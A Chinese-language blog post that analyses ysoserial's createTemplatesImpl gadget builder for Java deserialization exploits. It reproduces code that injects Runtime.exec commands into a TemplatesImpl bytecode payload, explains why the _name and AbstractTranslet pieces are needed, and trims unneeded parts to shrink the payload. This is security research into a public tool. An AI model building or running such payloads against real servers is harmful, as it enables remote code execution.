前言
在阅读《java反序列化工具ysoserial分析》之后,对ysoserial有了一些更深的了解,但文章在对createTemplatesImpl函数进行分析中,没有解释一些代码作用,本文是对其分析的一些补充及发现的一些疑问。
在阅读本文前请先阅读《java反序列化工具ysoserial分析》中关于TemplatesImpl利用链以及createTemplatesImpl分析的部分
分析
createTemplatesImpl实现代码如下:
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
//实例化TemplatesImpl
final T templates = tplClass.newInstance();
// use template gadget class
//************************创建Payload类开始*******************************
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
//************************创建Payload类结束*******************************
// inject class bytes into instance,插入Class字节码到TemplatesImpl实例
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy,喵喵喵?
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
-
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
可以看出,整个类是基于Gadgets文件中的StubTransletPayload类进行修改。
为什么要基于StubTransletPayload进行修改?
StubTransletPayload实现如下:
因为在调用链的defineTransletClasses函数时,会将父类为AbstractTranslet的class索引赋值给_transletIndex:
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class,检测父类是否为AbstractTranslet
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
而后在函数getTransletInstance中,会将_transletIndex对应的类进行实例化:
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
所以我们需要将我们所期望的代码写入父类为AbstractTranslet的类的构造函数中。
Reflections.setFieldValue(templates, "_name", "Pwnr");
调用链的getTransletInstance函数中,首先进行了如下判断:
if (_name == null) return null;
如果不设置_name值会导致调用链直接退出,不进行后续的payload类实例化
疑问
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
为什么_bytecodes数组中需要而外存放一个无用类,而不是只存放刚刚生成带有payload的类?
Foo类是一个只实现了Serializable接口没有包含任何其他内容的类,没有任何作用。
尝试着只保留payload类,也并不影响执行。
相关代码段:
final int classCount = _bytecodes.length;
_class = new Class[classCount];
//重点位置:
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
TemplatesImpl类成员_auxClasses默认为null,可以看出只有_bytecodes数组长度>=2时,才会对_auxClasses进行创建。但是如果长度为1,并且父类为AbstractTranslet也不影响payload的执行。
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
这句删除了也不影响,看了jdk1.6/1.7/1.8的代码在执行TemplatesImpl的readObject函数时都会在结尾对_tfactory进行重新构造:
private void readObject(ObjectInputStream is)
throws IOException, ClassNotFoundException
{
。。。。
_tfactory = new TransformerFactoryImpl();
}
表示这个很迷。。
补充: _tfactory字段为transient修饰,并不参与序列化。
-
删除了疑问1项后,以CommonsCollections2为例,执行calc的payload大小从3231字节减少到了2753字节,减少了478字节。删除了疑问2代码后大小完全没变???
查看代码,发现TemplatesImpl的_tfactory属性前面有transient修饰符,也就是说该属性并不参与到序列化中,所以疑问2这句加不加完全没区别。(也就是为什么readObject中会对其重新构造)
在jdk1.6/1.8下进行了测试,Payload可以正常使用